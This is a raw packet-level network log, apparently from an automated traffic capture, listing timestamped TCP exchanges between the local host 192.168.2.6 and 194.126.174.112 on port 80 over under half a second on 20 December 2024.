Dec 20, 2024 17:43:12.862490892 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.862535000 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.862804890 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.862848043 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.863598108 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.863643885 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.863696098 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.863739967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.864576101 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.864624023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.864751101 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.864795923 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.865654945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.865699053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.865843058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.865885973 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.866657972 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.866703987 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.866774082 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.866807938 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.867666960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.867734909 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.867747068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.867789984 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.868731022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.868777037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.868802071 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.868844986 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.869756937 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.869818926 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.869857073 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.869901896 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.870821953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.870881081 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.871279001 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.871332884 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.871958971 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.872014046 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.872045994 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.872090101 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.872876883 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.872930050 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.873531103 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.873579979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.874001026 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.874015093 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.874044895 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.874063969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.875050068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.875099897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.875247002 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.875291109 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.876019955 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.876068115 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.876199961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.876240969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.877017021 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.877065897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.022690058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.022803068 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.022836924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.022876024 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.022886038 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.022914886 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.023031950 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.023083925 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.023896933 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.023957968 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.024219990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.024269104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.025208950 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.025271893 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.025404930 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.025475979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.026002884 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.026067019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.026882887 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.026940107 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.027121067 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.027137041 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.027165890 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.027188063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.028100967 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.028158903 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.028417110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.028465986 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.029164076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.029218912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.029815912 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.029870033 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.030178070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.030227900 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.030359983 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.030407906 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.031219006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.031271935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.031408072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.031454086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.032309055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.032366991 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.032740116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.032809973 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.033380985 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.033431053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.033468962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.033510923 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.034379959 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.034445047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.034575939 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.034619093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.035429955 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.035490990 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.035535097 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.035581112 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.036472082 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.036523104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.036652088 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.036698103 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.037592888 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.037645102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.037730932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.037779093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.038494110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.038548946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.038723946 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.038770914 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.039567947 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.039623976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.039695978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.039746046 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.040571928 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.040627003 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.040687084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.040733099 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.041636944 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.041723013 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.041754007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.041798115 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.042664051 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.042714119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.042850018 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.042896032 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.045897961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.045945883 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.045959949 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.045959949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.045984983 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.046000957 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.046188116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.046200037 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.046211958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.046241999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.046274900 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.046917915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.046966076 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.047096968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.047142029 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.047866106 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.047916889 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.048135042 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.048182011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.048991919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.049045086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.049190998 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.049235106 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.049982071 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.050029039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.050153971 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.050199986 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.051001072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.051053047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.051249981 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.051302910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.052046061 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.052099943 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.052227020 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.052275896 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.053244114 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.053296089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.053325891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.053370953 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.054176092 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.054251909 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.054377079 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.054425955 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.055216074 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.055267096 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.055504084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.055550098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.056211948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.056260109 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.057226896 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.057249069 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.057286024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.057301998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.057359934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.057404041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.058317900 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.058397055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.058419943 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.058461905 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.059453011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.059500933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.059582949 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.059629917 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.060369968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.060424089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.060575008 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.060625076 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.061413050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.061465979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.061568022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.061614990 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.062463999 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.062517881 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.062597990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.062643051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.063540936 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.063586950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.063622952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.063671112 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.064563036 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.064624071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.064809084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.064861059 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.065609932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.065660000 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.065737963 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.065783024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.066647053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.066698074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.066754103 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.066798925 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.067698956 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.067756891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.067974091 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.068022013 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.068789959 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.068846941 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.068917990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.068968058 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.069770098 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.069813967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.069894075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.069942951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.070797920 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.070849895 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.071091890 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.071144104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.071845055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.071897030 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.072143078 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.072195053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.072938919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.072977066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.072995901 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.073012114 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.073895931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.073945999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.074161053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.074207067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.075182915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.075243950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.076023102 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.076044083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.076083899 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.076097012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.076236010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.076283932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.077261925 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.077325106 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.215739965 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.215866089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.215976000 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.216053009 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.216335058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.216347933 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.216379881 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.216418982 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.217304945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.217391014 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.217422009 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.217514992 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.218411922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.218538046 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.218554020 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.218636036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.219427109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.219469070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.219536066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.219577074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.220415115 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.220455885 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.220531940 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.220568895 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.221478939 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.221519947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.221744061 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.221781969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.222513914 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.222553015 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.222606897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.222645998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.223577023 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.223589897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.223623037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.223644018 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.224560976 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.224606991 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.225183010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.225224018 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.225608110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.225646973 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.226332903 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.226373911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.226758957 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.226771116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.226795912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.226819038 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.227688074 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.227729082 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.227788925 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.227823019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.228761911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.228806019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.228954077 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.229001045 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.229798079 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.229852915 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.229857922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.229891062 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.230814934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.230873108 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.230923891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.230967999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.231863022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.231921911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.232103109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.232147932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.232896090 CET	80	49730	194.126.174.112	192.168.2.6
